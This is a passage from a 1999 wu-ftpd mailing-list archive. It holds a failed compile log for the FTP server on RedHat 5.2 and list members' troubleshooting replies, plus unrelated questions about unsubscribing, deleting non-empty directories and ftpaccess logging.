ftpd.c:2254: `MAXPATHLEN' undeclared (first use this function)
ftpd.c:2257: `start_time' undeclared (first use this function)
ftpd.c:2258: parse error before `curtime'
ftpd.c:2305: `curtime' undeclared (first use this function)
ftpd.c:2314: dereferencing pointer to incomplete type
ftpd.c: At top level:
ftpd.c:2327: parse error before `*'
ftpd.c: In function `getdatasock':
ftpd.c:2340: warning: return makes pointer from integer without a cast
ftpd.c:2342: `uid_t' undeclared (first use this function)
ftpd.c:2342: parse error before `0'
ftpd.c:2343: `AF_INET' undeclared (first use this function)
ftpd.c:2343: `SOCK_STREAM' undeclared (first use this function)
ftpd.c:2346: `SOL_SOCKET' undeclared (first use this function)
ftpd.c:2346: `SO_REUSEADDR' undeclared (first use this function)
ftpd.c:2350: invalid use of undefined type `struct sockaddr_in'
ftpd.c:2351: invalid use of undefined type `struct sockaddr_in'
ftpd.c:2351: invalid use of undefined type `struct sockaddr_in'
ftpd.c:2358: sizeof applied to an incomplete type
ftpd.c:2360: `EADDRINUSE' undeclared (first use this function)
ftpd.c:2376: parse error before `pw'
ftpd.c:2396: warning: return makes pointer from integer without a cast
ftpd.c:2399: parse error before `pw'
ftpd.c:2404: `NULL' undeclared (first use this function)
ftpd.c: At top level:
ftpd.c:2407: parse error before `*'
ftpd.c:2409: parse error before `off_t'
ftpd.c: In function `dataconn':
ftpd.c:2418: `FILE' undeclared (first use this function)
ftpd.c:2418: `file' undeclared (first use this function)
ftpd.c:2419: parse error before `int'
ftpd.c:2424: `size' undeclared (first use this function)
ftpd.c:2426: `off_t' undeclared (first use this function)
ftpd.c:2439: storage size of `from' isn't known
ftpd.c:2475: `NULL' undeclared (first use this function)
ftpd.c:2491: `LOG_NOTICE' undeclared (first use this function)
ftpd.c:2492: dereferencing pointer to incomplete type
ftpd.c:2493: `name' undeclared (first use this function)
ftpd.c:2497: warning: return makes pointer from integer without a cast
ftpd.c:2503: warning: return makes pointer from integer without a cast
ftpd.c:2506: `data_dest' has an incomplete type
ftpd.c:2507: invalid use of undefined type `struct sockaddr_in'
ftpd.c:2512: warning: passing arg 1 of `getdatasock' makes pointer from
integer without a cast
ftpd.c:2515: invalid use of undefined type `struct sockaddr_in'
ftpd.c:2516: invalid use of undefined type `struct sockaddr_in'
ftpd.c:2521: sizeof applied to an incomplete type
ftpd.c:2522: `EADDRINUSE' undeclared (first use this function)
ftpd.c:2522: `EINTR' undeclared (first use this function)
ftpd.c:2522: `retry' undeclared (first use this function)
ftpd.c: At top level:
ftpd.c:2544: parse error before `*'
ftpd.c: In function `send_data':
ftpd.c:2558: `NULL' undeclared (first use this function)
ftpd.c:2571: `instr' undeclared (first use this function)
ftpd.c:2571: `EOF' undeclared (first use this function)
ftpd.c:2575: `outstr' undeclared (first use this function)
ftpd.c:2593: `u_int' undeclared (first use this function)
ftpd.c:2593: parse error before `blksize'
ftpd.c:2601: parse error before `blksize'
ftpd.c:2616: default label not within a switch statement
ftpd.c:2585: label `file_err' used but not defined
ftpd.c:2576: label `data_err' used but not defined
ftpd.c: At top level:
ftpd.c:2622: parse error before `:'
ftpd.c:2624: warning: data definition has no type or storage class
ftpd.c:2625: parse error before `426'
ftpd.c:2625: conflicting types for `perror_reply'
ftpd.c:365: previous declaration of `perror_reply'
ftpd.c:2625: warning: data definition has no type or storage class
ftpd.c:2630: parse error before `551'
ftpd.c:2630: warning: data definition has no type or storage class
ftpd.c:2640: parse error before `*'
ftpd.c: In function `receive_data':
ftpd.c:2654: `NULL' undeclared (first use this function)
ftpd.c:2667: `BUFSIZ' undeclared (first use this function)
ftpd.c:2672: `instr' undeclared (first use this function)
ftpd.c:2673: `outstr' undeclared (first use this function)
ftpd.c:2697: `EOF' undeclared (first use this function)
ftpd.c: In function `statfilecmd':
ftpd.c:2753: `BUFSIZ' undeclared (first use this function)
ftpd.c:2754: `FILE' undeclared (first use this function)
ftpd.c:2754: `fin' undeclared (first use this function)
ftpd.c:2755: parse error before `int'
ftpd.c:2782: `NULL' undeclared (first use this function)
ftpd.c:2783: warning: assignment makes pointer from integer without a cast
ftpd.c: In function `statcmd':
ftpd.c:2799: `u_char' undeclared (first use this function)
ftpd.c:2799: `a' undeclared (first use this function)
ftpd.c:2800: `p' undeclared (first use this function)
ftpd.c:2806: invalid use of undefined type `struct sockaddr_in'
ftpd.c:2814: dereferencing pointer to incomplete type
ftpd.c:2837: parse error before `)'
ftpd.c:2837: dereferencing pointer to incomplete type
ftpd.c:2838: parse error before `)'
ftpd.c:2838: dereferencing pointer to incomplete type
ftpd.c: In function `vreply':
ftpd.c:2878: `BUFSIZ' undeclared (first use this function)
ftpd.c:2894: `LOG_DEBUG' undeclared (first use this function)
ftpd.c:2902: `stdout' undeclared (first use this function)
ftpd.c: At top level:
ftpd.c:2914: conflicting types for `reply'
ftpd.c:1766: previous declaration of `reply'
ftpd.c: In function `reply':
ftpd.c:2917: `NULL' undeclared (first use this function)
ftpd.c:2921: warning: assignment makes pointer from integer without a cast
ftpd.c: At top level:
ftpd.c:2957: conflicting types for `lreply'
ftpd.c:1747: previous declaration of `lreply'
ftpd.c: In function `yyerror':
ftpd.c:3002: `NULL' undeclared (first use this function)
ftpd.c:3003: warning: assignment makes pointer from integer without a cast
ftpd.c: In function `delete':
ftpd.c:3018: storage size of `st' isn't known
ftpd.c:3031: `S_IFMT' undeclared (first use this function)
ftpd.c:3031: `S_IFDIR' undeclared (first use this function)
ftpd.c:3032: `uid_t' undeclared (first use this function)
ftpd.c:3032: parse error before `uid'
ftpd.c:3033: `gid_t' undeclared (first use this function)
ftpd.c:3039: `uid' undeclared (first use this function)
ftpd.c:3039: `gid' undeclared (first use this function)
ftpd.c:3054: `MAXPATHLEN' undeclared (first use this function)
ftpd.c:3059: `LOG_NOTICE' undeclared (first use this function)
ftpd.c:3062: dereferencing pointer to incomplete type
ftpd.c: In function `cwd':
ftpd.c:3078: `NULL' undeclared (first use this function)
ftpd.c:3079: `MAXPATHLEN' undeclared (first use this function)
ftpd.c:3079: size of array `cdpath' has non-integer type
ftpd.c: In function `makedir':
ftpd.c:3122: `uid_t' undeclared (first use this function)
ftpd.c:3122: parse error before `uid'
ftpd.c:3123: `gid_t' undeclared (first use this function)
ftpd.c:3125: `MAXPATHLEN' undeclared (first use this function)
ftpd.c:3125: size of array `path' has non-integer type
ftpd.c:3130: `uid' undeclared (first use this function)
ftpd.c:3130: `gid' undeclared (first use this function)
ftpd.c:3140: `EEXIST' undeclared (first use this function)
ftpd.c: In function `removedir':
ftpd.c:3165: `uid_t' undeclared (first use this function)
ftpd.c:3165: parse error before `uid'
ftpd.c:3166: `gid_t' undeclared (first use this function)
ftpd.c:3178: `uid' undeclared (first use this function)
ftpd.c:3178: `gid' undeclared (first use this function)
ftpd.c:3182: `EBUSY' undeclared (first use this function)
ftpd.c: In function `pwd':
ftpd.c:3198: `MAXPATHLEN' undeclared (first use this function)
ftpd.c:3198: size of array `path' has non-integer type
ftpd.c:3210: `NULL' undeclared (first use this function)
ftpd.c: In function `renamefrom':
ftpd.c:3231: storage size of `st' isn't known
ftpd.c: In function `renamecmd':
ftpd.c:3250: `NULL' undeclared (first use this function)
ftpd.c: In function `dolog':
ftpd.c:3310: dereferencing pointer to incomplete type
ftpd.c:3311: sizeof applied to an incomplete type
ftpd.c:3311: `AF_INET' undeclared (first use this function)
ftpd.c:3311: warning: assignment makes pointer from integer without a cast
ftpd.c:3321: dereferencing pointer to incomplete type
ftpd.c:3321: warning: assignment makes pointer from integer without a cast
ftpd.c:3331: dereferencing pointer to incomplete type
ftpd.c: In function `dologout':
ftpd.c:3368: `uid_t' undeclared (first use this function)
ftpd.c:3368: parse error before `0'
ftpd.c:3369: dereferencing pointer to incomplete type
ftpd.c:3372: `LOG_INFO' undeclared (first use this function)
ftpd.c: In function `myoob':
ftpd.c:3400: `stdin' undeclared (first use this function)
ftpd.c:3400: `NULL' undeclared (first use this function)
ftpd.c:3420: `off_t' undeclared (first use this function)
ftpd.c: In function `passive':
ftpd.c:3459: `AF_INET' undeclared (first use this function)
ftpd.c:3459: `SOCK_STREAM' undeclared (first use this function)
ftpd.c:3464: `pasv_addr' has an incomplete type
ftpd.c:3465: invalid use of undefined type `struct sockaddr_in'
ftpd.c:3467: `uid_t' undeclared (first use this function)
ftpd.c:3467: parse error before `0'
ftpd.c:3468: sizeof applied to an incomplete type
ftpd.c:3469: parse error before `pw'
ftpd.c:3473: parse error before `pw'
ftpd.c:3475: sizeof applied to an incomplete type
ftpd.c:3480: invalid use of undefined type `struct sockaddr_in'
ftpd.c:3481: invalid use of undefined type `struct sockaddr_in'
ftpd.c: At top level:
ftpd.c:3505: warning: type mismatch with previous external decl
ftpd.c:2129: warning: previous external decl of `gunique'
ftpd.c:3505: warning: type mismatch with previous implicit declaration
ftpd.c:2129: warning: previous implicit declaration of `gunique'
ftpd.c:3505: warning: `gunique' was previously implicitly declared to
return `int'
ftpd.c: In function `gunique':
ftpd.c:3506: `MAXPATHLEN' undeclared (first use this function)
ftpd.c:3507: storage size of `st' isn't known
ftpd.c:3508: warning: initialization makes pointer from integer without a cast
ftpd.c: At top level:
ftpd.c:3546: conflicting types for `perror_reply'
ftpd.c:2630: previous declaration of `perror_reply'
ftpd.c: In function `send_file_list':
ftpd.c:3562: syntax error before `*'
ftpd.c:3563: syntax error before `*'
ftpd.c:3566: storage size of `st' isn't known
ftpd.c:3583: `dout' undeclared (first use this function)
ftpd.c:3583: `NULL' undeclared (first use this function)
ftpd.c:3584: `dirp' undeclared (first use this function)
ftpd.c:3601: `ENOENT' undeclared (first use this function)
ftpd.c:3638: `S_IFMT' undeclared (first use this function)
ftpd.c:3638: `S_IFREG' undeclared (first use this function)
ftpd.c:3640: `off_t' undeclared (first use this function)
ftpd.c:3649: `S_IFDIR' undeclared (first use this function)
ftpd.c:3655: warning: assignment makes pointer from integer without a cast
ftpd.c:3656: `MAXPATHLEN' undeclared (first use this function)
ftpd.c:3661: dereferencing pointer to incomplete type
ftpd.c:3661: dereferencing pointer to incomplete type
ftpd.c:3668: dereferencing pointer to incomplete type
ftpd.c:3668: dereferencing pointer to incomplete type
ftpd.c:3669: dereferencing pointer to incomplete type
ftpd.c:3673: dereferencing pointer to incomplete type
ftpd.c: At top level:
ftpd.c:3801: `NULL' undeclared here (not in a function)
ftpd.c:3805: `NULL' undeclared here (not in a function)
ftpd.c: In function `initsetproctitle':
ftpd.c:3828: `NULL' undeclared (first use this function)
ftpd.c:3839: warning: assignment makes pointer from integer without a cast
ftpd.c: At top level:
ftpd.c:3890: conflicting types for `setproctitle'
ftpd.c:1778: previous declaration of `setproctitle'
ftpd.c: In function `setproctitle':
ftpd.c:3955: `NULL' undeclared (first use this function)
ftpd.c: At top level:
ftpd.c:207: storage size of `ctrl_addr' isn't known
ftpd.c:208: storage size of `data_source' isn't known
ftpd.c:209: storage size of `data_dest' isn't known
ftpd.c:210: storage size of `his_addr' isn't known
ftpd.c:211: storage size of `pasv_addr' isn't known
make: *** [ftpd.o] Error 1
make: bison: Command not found
make: *** [ftpcmd.c] Error 127
make: bison: Command not found
make: *** [ftpcmd.c] Error 127
In file included from ckconfig.c:32:
config.h:5: features.h: No such file or directory
In file included from
/usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/include/syslimits.h:7,
from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/include/limits.h:11,
from config.h:43,
from ckconfig.c:32:
/usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/include/limits.h:112: limits.h:
No such file or directory
In file included from ckconfig.c:32:
config.h:53: stdlib.h: No such file or directory
config.h:54: unistd.h: No such file or directory
ckconfig.c:36: stdio.h: No such file or directory
ckconfig.c:37: sys/types.h: No such file or directory
ckconfig.c:38: sys/stat.h: No such file or directory
ckconfig.c: In function `main':
ckconfig.c:44: storage size of `sbuf' isn't known
ckconfig.c:49: `stdout' undeclared (first use this function)
ckconfig.c:49: (Each undeclared identifier is reported only once
ckconfig.c:49: for each function it appears in.)
make: *** [ckconfig] Error 1
size: bin/ftpd: No such file or directory
size: bin/ftpcount: No such file or directory
size: bin/ftpshut: No such file or directory
size: bin/ftpwho: No such file or directorysize: bin/ckconfig: No such file
or directory
===============================================

Patrick J. Shoaf, Systems Engineer
<mailto:[email protected]>[email protected]

A & S Enterprises
449 Knox Ave
Monessen, PA 15062-1532
Phone: 724-684-8270 or 888-638-6963 in PA only
Fax: 724-684-8274
Check out our web site at http://www.midmon.com
or you can e-mail us at <mailto:[email protected]>[email protected]

From [email protected] Tue Mar 16 12:44:33 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA00779;
Tue, 16 Mar 1999 12:44:32 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA29469;
Tue, 16 Mar 1999 12:39:33 -0600 (CST)
Received: from flame.kent.net ([email protected] [209.135.68.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA28772
for <[email protected]>; Tue, 16 Mar 1999 12:39:03 -0600 (CST)
Received: from flare (flare.kent.net [209.135.68.252])
by flame.kent.net (8.9.1a-local mod/8.9.1) with SMTP id NAA09247
for <[email protected]>; Tue, 16 Mar 1999 13:39:02 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 13:39:01 -0500
Reply-To: "Mike Perry" <[email protected]>
Sender: [email protected]
From: "Mike Perry" <[email protected]>
To: <[email protected]>
Subject: unsubscribe?
MIME-Version: 1.0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.0810.800
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

its been forever since i signed up, and i've lost the instructions. How do i
get off the list?

From [email protected] Tue Mar 16 12:51:03 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id MAA00906;
Tue, 16 Mar 1999 12:51:02 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id MAA28653;
Tue, 16 Mar 1999 12:46:00 -0600 (CST)
Received: from mail1.its.rpi.edu ([email protected] [128.113.100.7])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id MAA23506
for <[email protected]>; Tue, 16 Mar 1999 12:39:14 -0600 (CST)
Received: from yua2 (cieem47.cieem.rpi.edu [128.113.60.140])
by mail1.its.rpi.edu (8.8.8/8.8.6) with SMTP id NAA34102;
Tue, 16 Mar 1999 13:11:28 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 13:12:19 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Alex Yu <[email protected]>
To: [email protected], [email protected]
Subject: Re: Problem compiling 2.4.2 Final on Linux
In-Reply-To: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 12:50 PM 1999/3/16 -0500, Patrick Shoaf wrote:

>I have RedHat 5.2 and the new 2.4.2 wu-ftpd source. I am trying to compile
>and I am getting errors, and am unsure as to what they mean. Attached

The default include dir is /usr/include. Make sure that you have 2 links
in /usr/include from /usr/src/linux.

/usr/src/linux/include/linux -> /usr/include/linux
/usr/src/linux/include/asm -> /usr/include/asm

Best Regards,

Alex Yu
PGP Fingerprint: 1F23 3045 9F92 E856 3967 ACB3 5354 2CC0 7AA7 19FA

"What should you do when you see an
endangered animal that is eating an endangered
plant?"
-- George Carlin

From [email protected] Tue Mar 16 13:13:19 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA01321;
Tue, 16 Mar 1999 13:13:18 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA02064;
Tue, 16 Mar 1999 13:05:26 -0600 (CST)
Received: from mail.midmon.com ([email protected] [207.238.211.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA31368
for <[email protected]>; Tue, 16 Mar 1999 13:05:04 -0600 (CST)
Received: from pjs (pjs.midmon.com [207.238.211.49])
by mail.midmon.com (8.8.7/8.8.7) with SMTP id OAA31779;
Tue, 16 Mar 1999 14:01:25 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 14:06:09 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Patrick Shoaf <[email protected]>
To: Alex Yu <[email protected]>, [email protected]
Subject: Re: Problem compiling 2.4.2 Final on Linux
In-Reply-To: <[email protected]>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 01:12 PM 3/16/99 -0500, Alex Yu wrote:
>At 12:50 PM 1999/3/16 -0500, Patrick Shoaf wrote:
>
>>I have RedHat 5.2 and the new 2.4.2 wu-ftpd source. I am trying to compile
>>and I am getting errors, and am unsure as to what they mean. Attached
>
>The default include dir is /usr/include. Make sure that you have 2 links
>in /usr/include from /usr/src/linux.
>
>/usr/src/linux/include/linux -> /usr/include/linux
>/usr/src/linux/include/asm -> /usr/include/asm
>
>Best Regards,
>
>Alex Yu

I just checked, those links are already in place...any other suggestions???

Patrick J. Shoaf, Systems Engineer
<mailto:[email protected]>[email protected]

A & S Enterprises
449 Knox Ave
Monessen, PA 15062-1532
Phone: 724-684-8270 or 888-638-6963 in PA only
Fax: 724-684-8274
Check out our web site at http://www.midmon.com
or you can e-mail us at <mailto:[email protected]>[email protected]

From [email protected] Tue Mar 16 13:19:02 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA01423;
Tue, 16 Mar 1999 13:19:01 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA19119;
Tue, 16 Mar 1999 13:11:50 -0600 (CST)
Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA01052
for <[email protected]>; Tue, 16 Mar 1999 13:07:55 -0600 (CST)
Received: from grobbebol.xs4all.nl (grobbebol.xs4all.nl [194.109.14.68])
by smtp1.xs4all.nl (8.8.8/8.8.8) with ESMTP id UAA22894;
Tue, 16 Mar 1999 20:07:50 +0100 (CET)
Received: (from bengel@localhost)
by grobbebol.xs4all.nl (8.9.1/8.9.1) id TAA00970;
Tue, 16 Mar 1999 19:05:34 GMT
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 19:05:34 +0000 (GMT)
Reply-To: [email protected]
Sender: [email protected]
From: "Roeland Th. Jansen" <[email protected]>
To: [email protected]
Cc: [email protected], [email protected]
Subject: Re: Problem compiling 2.4.2 Final on Linux
In-Reply-To: <[email protected]> from Patrick Shoaf at "Mar 16, 1999 02:06:09 pm"
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL53 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> I just checked, those links are already in place...any other suggestions???

you did also install the kernel header files ?

--
Grobbebol's Home | Don't give in to spammers. -o)
MCSE: Must Consult Someone Experienced | Use your real e-mail address /\
Linux 2.2.3 on an i586/64 MB | on Usenet. _\_v

From [email protected] Tue Mar 16 13:25:07 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA01531;
Tue, 16 Mar 1999 13:25:06 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA15187;
Tue, 16 Mar 1999 13:18:15 -0600 (CST)
Received: from mail.midmon.com ([email protected] [207.238.211.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA00264
for <[email protected]>; Tue, 16 Mar 1999 13:11:35 -0600 (CST)
Received: from pjs (pjs.midmon.com [207.238.211.49])
by mail.midmon.com (8.8.7/8.8.7) with SMTP id OAA31812;
Tue, 16 Mar 1999 14:07:56 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 14:12:40 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Patrick Shoaf <[email protected]>
To: [email protected]
Cc: [email protected], [email protected]
Subject: Re: Problem compiling 2.4.2 Final on Linux
In-Reply-To: <[email protected]>
References: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

At 07:05 PM 3/16/99 +0000, Roeland Th. Jansen wrote:
>> I just checked, those links are already in place...any other suggestions???
>
>you did also install the kernel header files ?
>

YES...I used CUSTOM config and select all items under Kernel...Source,
Headers, etc.

Patrick J. Shoaf, Systems Engineer
<mailto:[email protected]>[email protected]

A & S Enterprises
449 Knox Ave
Monessen, PA 15062-1532
Phone: 724-684-8270 or 888-638-6963 in PA only
Fax: 724-684-8274
Check out our web site at http://www.midmon.com
or you can e-mail us at <mailto:[email protected]>[email protected]

From [email protected] Tue Mar 16 13:27:31 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA01549;
Tue, 16 Mar 1999 13:27:31 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA06922;
Tue, 16 Mar 1999 13:20:54 -0600 (CST)
Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.6.53])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA10426
for <[email protected]>; Tue, 16 Mar 1999 13:14:52 -0600 (CST)
Received: from grobbebol.xs4all.nl (grobbebol.xs4all.nl [194.109.14.68])
by smtp3.xs4all.nl (8.8.8/8.8.8) with ESMTP id UAA13851;
Tue, 16 Mar 1999 20:14:50 +0100 (CET)
Received: (from bengel@localhost)
by grobbebol.xs4all.nl (8.9.1/8.9.1) id TAA01001;
Tue, 16 Mar 1999 19:12:34 GMT
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 19:12:33 +0000 (GMT)
Reply-To: [email protected]
Sender: [email protected]
From: "Roeland Th. Jansen" <[email protected]>
To: [email protected] (Patrick Shoaf)
Cc: [email protected], [email protected]
Subject: Re: Problem compiling 2.4.2 Final on Linux
In-Reply-To: <[email protected]> from Patrick Shoaf at "Mar 16, 1999 02:12:40 pm"
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL53 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> YES...I used CUSTOM config and select all items under Kernel...Source,
> Headers, etc.

I already zapped your first mail, please e-mail me personally again what
your problem is.

--
Grobbebol's Home | Don't give in to spammers. -o)
MCSE: Must Consult Someone Experienced | Use your real e-mail address /\
Linux 2.2.3 on an i586/64 MB | on Usenet. _\_v

From [email protected] Tue Mar 16 13:37:49 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA01701;
Tue, 16 Mar 1999 13:37:48 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA01018;
Tue, 16 Mar 1999 13:31:10 -0600 (CST)
Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA31010
for <[email protected]>; Tue, 16 Mar 1999 13:24:33 -0600 (CST)
Received: from grobbebol.xs4all.nl (grobbebol.xs4all.nl [194.109.14.68])
by smtp1.xs4all.nl (8.8.8/8.8.8) with ESMTP id UAA03450;
Tue, 16 Mar 1999 20:24:31 +0100 (CET)
Received: (from bengel@localhost)
by grobbebol.xs4all.nl (8.9.1/8.9.1) id TAA01206;
Tue, 16 Mar 1999 19:22:15 GMT
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 19:22:15 +0000 (GMT)
Reply-To: [email protected]
Sender: [email protected]
From: "Roeland Th. Jansen" <[email protected]>
To: [email protected]
Cc: [email protected], [email protected]
Subject: Re: Problem compiling 2.4.2 Final on Linux
In-Reply-To: <[email protected]> from Patrick Shoaf at "Mar 16, 1999 02:12:40 pm"
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Mailer: ELM [version 2.4ME+ PL53 (25)]
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

> At 07:05 PM 3/16/99 +0000, Roeland Th. Jansen wrote:
> >> I just checked, those links are already in place...any other suggestions???
> >
> >you did also install the kernel header files ?
> >
>
> YES...I used CUSTOM config and select all items under Kernel...Source,
> Headers, etc.

I start to think that you forgot to install a package, like a complete gcc
setup.

--
Grobbebol's Home | Don't give in to spammers. -o)
MCSE: Must Consult Someone Experienced | Use your real e-mail address /\
Linux 2.2.3 on an i586/64 MB | on Usenet. _\_v

From [email protected] Tue Mar 16 13:45:10 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA01855;
Tue, 16 Mar 1999 13:45:09 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA02913;
Tue, 16 Mar 1999 13:37:35 -0600 (CST)
Received: from poseidon.coastside.net (poseidon.coastside.net [207.213.212.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA03497
for <[email protected]>; Tue, 16 Mar 1999 13:35:20 -0600 (CST)
Received: from jeep.coastside.net (jeep.coastside.net [207.213.212.249])
by poseidon.coastside.net (8.8.8/8.8.8) with SMTP id LAA03623
for <[email protected]>; Tue, 16 Mar 1999 11:36:25 -0800 (PST)
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 11:35:31 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Rob Genovesi <[email protected]>
To: [email protected]
Subject: delete dirs
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Is there a way to allow users to delete non-empty directories? Currently a
directory must be completely empty before it can be removed. Under our
previous ftp server (stock Solaris ftpd) an ftp client such as WS-FTP could
remove a non-empty directory.

I am assuming, of course, that the ftp user has proper permissions to the
directory and all files within.

Current using: Version wu-2.4.2-academ[BETA-18-VR12](1)
On: Sun Solaris 2.5.1

Thanks,

Rob Genovesi
[email protected]

From [email protected] Tue Mar 16 13:51:00 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA01929;
Tue, 16 Mar 1999 13:51:00 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA13942;
Tue, 16 Mar 1999 13:44:09 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id NAA28995
for <[email protected]>; Tue, 16 Mar 1999 13:40:31 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id OAA05204;
Tue, 16 Mar 1999 14:36:57 -0500
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 14:36:57 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Jan Simek <[email protected]>
Cc: James McMahon <[email protected]>,
WU-FTPD Discussion List <[email protected]>
Subject: Re: not logging at all?
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 16 Mar 1999, Jan Simek wrote:

> (I still keep getting entries into xferlog, not any other...)
>
> I have compiled wu-ftpd with DEBUG and VIRTUAL flags. I have restarted
> syslogd.

Check that you're using the ftpaccess file you think you are.

First, run ckconfig (in the bin directory when you compiled the daemon).
It'll tell you the name of the file that the daemon is using.

Second, I like to make a subtle change to the ftpaccess file and check
that I see the effect between ftp sessions. since I run the VR version, I
use the greeting clause .. it's quick and most people don't bother to look
at whether the daemon is giving its version number up there.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 16 13:53:35 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id NAA01990;
Tue, 16 Mar 1999 13:53:35 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id NAA04046;
Tue, 16 Mar 1999 13:46:45 -0600 (CST)
Received: from mail.alpha1.net ([email protected] [216.88.112.3])
